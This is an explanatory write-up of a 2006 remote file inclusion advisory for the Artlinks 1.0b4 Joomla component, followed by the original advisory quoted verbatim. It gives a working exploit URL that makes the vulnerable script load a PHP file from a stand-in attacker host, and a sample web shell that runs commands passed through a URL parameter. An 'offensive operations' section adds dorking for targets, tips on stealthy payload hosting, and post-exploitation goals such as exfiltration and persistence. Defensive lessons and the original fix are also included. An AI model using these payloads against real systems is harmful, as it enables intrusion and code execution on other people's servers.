Understanding Joomla! Component Artlinks 1.0b4 Remote File Inclusion

What this paper is

This paper is an advisory detailing a security vulnerability in a specific version of a Joomla! component called "Artlinks." The vulnerability is a Remote File Inclusion (RFI) flaw, meaning an attacker can trick the vulnerable component into loading and executing code from a remote server. This allows for arbitrary code execution on the target web server.

Simple technical breakdown

The vulnerability exists in the artlinks.dispnew.php file of the Artlinks component. This file, when processing a request, uses a variable named $mosConfig_absolute_path without properly sanitizing its input. An attacker can manipulate this variable to point to a malicious PHP file hosted on their own server. When the vulnerable script then tries to include a configuration file using this manipulated path, it ends up including and executing the attacker's remote file instead.

Complete code and payload walkthrough

The provided paper does not contain executable exploit code or shellcode in the traditional sense. Instead, it describes the vulnerable code snippet and how to exploit it by manipulating a URL parameter.

Vulnerable Code Snippet:

The paper points to a specific line in artlinks.dispnew.php:

require($mosConfig_absolute_path."/administrator/components/com_artlinks/config.artlinks.php");

• require(...): This is a PHP construct that includes and evaluates the specified file. If the file is not found, it produces a fatal error.
• $mosConfig_absolute_path: This is a variable that is expected to hold the absolute path to the Joomla! installation's root directory. In a normal scenario, it would be something like /var/www/html/joomla.
• "/administrator/components/com_artlinks/config.artlinks.php": This is a hardcoded string representing the path to a configuration file relative to the $mosConfig_absolute_path.

Exploitation Mechanism:

The vulnerability arises because $mosConfig_absolute_path is not validated or sanitized before being used in the require statement. An attacker can provide a URL like this:

http://[sitepath]/[joomlapath]/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=http://attacker.com/malicious.php?

Let's break down how this works:

1. http://[sitepath]/[joomlapath]/components/com_artlinks/artlinks.dispnew.php: This is the base URL to the vulnerable script on the target Joomla! site.
2. ?mosConfig_absolute_path=: This is the parameter that the vulnerable script expects to receive.
3. http://attacker.com/malicious.php?: This is the attacker-controlled value for $mosConfig_absolute_path.

When the vulnerable script executes the require statement with this manipulated $mosConfig_absolute_path, it effectively becomes:

require("http://attacker.com/malicious.php?/administrator/components/com_artlinks/config.artlinks.php");

PHP's require function, when given a URL (starting with http:// or https://), will attempt to fetch the content from that URL. The additional path appended after the question mark (?/administrator/components/com_artlinks/config.artlinks.php) is often ignored by the remote server or can be used to bypass certain filters on the attacker's server if needed. The crucial part is that the require function will attempt to execute the content of http://attacker.com/malicious.php.

Attacker's malicious.php:

The attacker would host a file named malicious.php on their server (attacker.com). This file would contain PHP code they want to execute on the target server. A simple example would be:

<?php
  // This code will be executed on the target server
  echo "<h1>Vulnerable!</h1>";
  system($_GET['cmd']); // Example: execute a command
?>

When the target server includes this malicious.php, the code within it runs. If the attacker also crafts the URL to pass commands (e.g., http://attacker.com/malicious.php?cmd=ls -la), the system() function would execute ls -la on the target server.

Mapping:

• artlinks.dispnew.php: The vulnerable script.
• $mosConfig_absolute_path: The input variable that is not sanitized.
• require(...): The PHP function that includes and executes remote files when given a URL.
• http://attacker.com/malicious.php?: The attacker-controlled URL used to inject a remote file.
• malicious.php on attacker's server: The file containing the malicious payload.

Practical details for offensive operations teams

• Required Access Level: No specific access level is required beyond being able to send HTTP requests to the target web application. This is a remote vulnerability.
• Lab Preconditions:
  • A target Joomla! installation running Artlinks component version 1.0 Beta 4.
  • The vulnerable file artlinks.dispnew.php must be present and accessible.
  • The target server must have allow_url_fopen enabled in its php.ini configuration. This is a common default but can be disabled for security.
  • An attacker-controlled web server capable of serving PHP files.
• Tooling Assumptions:
  • A web browser or an HTTP request tool (like curl, Burp Suite, OWASP ZAP) to craft and send the malicious URL.
  • A simple web server (e.g., Python's http.server, Apache, Nginx) to host the malicious PHP payload.
• Execution Pitfalls:
  • allow_url_fopen disabled: If this PHP setting is disabled on the target server, the require function will not be able to fetch remote URLs, and the exploit will fail.
  • Web Application Firewalls (WAFs): Modern WAFs might detect and block requests containing URLs in parameters, especially if they look like file paths or contain suspicious characters.
  • Incorrect mosConfig_absolute_path usage: If the component's logic has changed significantly from the version described, or if the path structure is different, the exploit might not work as expected.
  • Server-side filtering: The target server or intermediate proxies might filter outbound HTTP requests, preventing the require function from reaching the attacker's server.
  • Payload complexity: Simple echo statements might be easily detected. More sophisticated payloads that blend in or use obfuscation might be necessary.
  • URL encoding: Special characters in the URL might need to be URL-encoded.
• Tradecraft Considerations:
  • Reconnaissance: Identify the Joomla! version and installed components. Look for the specific Artlinks component and its version. Dorking (inurl:"com_artlinks") as suggested in the paper can help find potential targets.
  • Payload Hosting: Ensure the attacker's server is stable and accessible from the target. Use a domain that doesn't immediately raise suspicion if possible.
  • Stealth: Avoid overly noisy payloads. If command execution is the goal, ensure the output is minimal or logged discreetly.
  • Post-exploitation: Once code execution is achieved, the next steps depend on the objective (e.g., data exfiltration, privilege escalation, establishing persistence).

Where this was used and when

This vulnerability was discovered and published in August 2006. At that time, Joomla! (and its predecessor Mambo) were popular content management systems. Components like Artlinks were common extensions. This type of RFI vulnerability was prevalent in web applications developed in PHP during that era due to less stringent input validation practices. It's highly likely that this specific vulnerability, or similar RFI flaws, were exploited in the wild by attackers targeting websites running vulnerable versions of Joomla! and its components.

Defensive lessons for modern teams

• Input Validation is Paramount: Always validate and sanitize user-supplied input, especially when it's used in file operations, database queries, or external calls. For PHP, functions like filter_var(), htmlspecialchars(), and strict type checking are essential.
• allow_url_fopen and allow_url_include: These PHP directives should generally be disabled (Off) in php.ini for production environments unless absolutely necessary and with extreme caution. Disabling them prevents PHP from fetching remote files via fopen() and include/require.
• Secure Coding Practices: Developers should be trained on common vulnerabilities like RFI, LFI, SQLi, XSS, etc. Using frameworks that enforce secure coding patterns is beneficial.
• Component Updates: Keep all CMS core and extensions updated to the latest stable versions. Vulnerabilities are often patched in newer releases.
• Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block malicious HTTP requests, including those attempting RFI.
• Code Auditing: Regularly audit custom code and third-party components for security flaws.
• Least Privilege: Ensure web server processes run with the minimum necessary privileges.

ASCII visual (if applicable)

+-----------------+      +----------------------+
| Attacker Server |      | Target Web Server    |
| (e.g., attacker.com)|      | (e.g., victim.com)   |
+-----------------+      +----------------------+
        |                        |
        | 1. Serves malicious.php|
        |----------------------->|
        |                        |
        |                        | 2. Request to vulnerable script
        |                        |    with mosConfig_absolute_path=http://attacker.com/malicious.php?
        |                        |-------------------------------------->
        |                        |
        |                        | 3. vulnerable script (artlinks.dispnew.php)
        |                        |    uses require() on the URL.
        |                        |    PHP fetches and executes malicious.php.
        |                        |    (Requires allow_url_fopen=On)
        |                        |
        |                        | 4. Malicious code executes on target.
        |<-----------------------|
        |   (e.g., output,     |
        |    command results)  |
        |                        |

This diagram illustrates the flow: the attacker hosts a malicious file, the target server is tricked into requesting and executing it via the require function, and the malicious code then runs on the target.

Source references

• Paper ID: 2209
• Paper Title: Joomla! Component Artlinks 1.0b4 - Remote File Inclusion
• Author: camino
• Published: 2006-08-18
• Paper URL: https://www.exploit-db.com/papers/2209
• Raw URL: https://www.exploit-db.com/raw/2209

Original Exploit-DB Content (Verbatim)

.:[ insecurity research team ]:.
     .__..____.:.______.____.:.____ .
 .:. |  |/    \:/  ___// __ \:/   _\.:.
   : |  |   |  \\____\\  ___/\   /__ :. .
 ..: |__|___|  /____  >\___  >\___  >.:
   .:.. ..  .\/   .:\/:.  .\/.  .:\/:
 .   ...:.    .advisory.    .:...
         :..................: 18.o8.2oo6 ..
 
 
  Affected Application: Artlinks v1.0 Beta 4 

       (Mambo/Joomla CMS Component)
 
 
 . . :[ contact ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  Discoverd by: camino
 
  Team: Insecurity Research Team
 
  URL: http://www.insecurityresearch.org
 
  E-Mail: camino[at]sexmagnet[dot]com
 
 
 
 . . :[ insecure application details ]: . . . . . . . . . . . . . . . . .
 
 
  Typ: Remote [x]  Local [ ]
 
       Remote File Inclusion [x]  SQL Injection [ ]
 
  Level: Low [ ]  Middle [ ]  High [x]
 
  Application: Artlinks
 
  Version: 1.0 Beta 4
 
  Vulnerable File: artlinks.dispnew.php
 
  URL: http://www.duswald.de
 
  Description: It's a component which creates linklists for various 

               categories with a screenshot and description.
 
  Dork: inurl:"com_artlinks"
 
 
 
 . . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  http://[sitepath]/[joomlapath]/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=http://huh?
 
 
 . . :[ how to fix ]: . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  o1.) open artlinks.dispnew.php
 
  o2.) take a look at line 12:

         require($mosConfig_absolute_path."/administrator/components/

         com_artlinks/config.artlinks.php");
 
  o3.) add the following line before line 12:

         defined( '_VALID_MOS' ) or die( 'Direct Access to this location 

         is not allowed.' );
 
  o4.) done!
 
 
 
 . . :[ greets ]: . . . . . . . . . . . . . . . . . . . . . . . . . . . .
 
 
  my girlfriend, brOmstar, ACiDAngel, PoKi, Waze and all the sexy members 

  of insecurity research team ;-)

# milw0rm.com [2006-08-18]